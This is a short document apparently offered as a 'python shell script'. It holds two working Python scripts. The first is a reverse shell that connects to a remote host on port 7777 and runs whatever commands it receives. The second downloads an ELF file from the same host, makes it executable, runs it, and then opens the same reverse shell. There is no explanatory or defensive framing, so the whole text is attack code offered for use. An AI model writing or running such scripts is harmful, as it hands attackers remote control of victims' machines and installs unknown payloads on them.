python shell脚本

import socket

import subprocess

import os



server_ip = '8.8.8.8'

server_port = 7777



client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

client_socket.connect((server_ip, server_port))



while True:

    command = client_socket.recv(4096).decode()

    if command.lower() == 'exit':

        break

    try:

        output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT)

    except Exception as e:

        output = str(e).encode()

    client_socket.send(output)



client_socket.close()

import urllib
import os
import socket
import subprocess


def download_file(url, filename):
    try:
        urllib.urlretrieve(url, filename)
        return True
    except Exception as e:
        return False

def run_elf(elf_file):
    if os.path.exists(elf_file):
        try:
            os.chmod(elf_file, 0o755)
            os.system("./" + elf_file)
        except Exception as e:
            pass
    else:
        pass

server_ip = '8.8.8.8'

server_port = 7777


download_url = "http://8.8.8.8:1234/1"
local_filename = "/tmp/downloaded_elf.elf"


if download_file(download_url, local_filename):
    run_elf(local_filename)

client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

client_socket.connect((server_ip, server_port))

while True:

    command = client_socket.recv(4096).decode()

    if command.lower() == 'exit':

        break

    try:

        output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT)

    except Exception as e:

        output = str(e).encode()

    client_socket.send(output)

client_socket.close()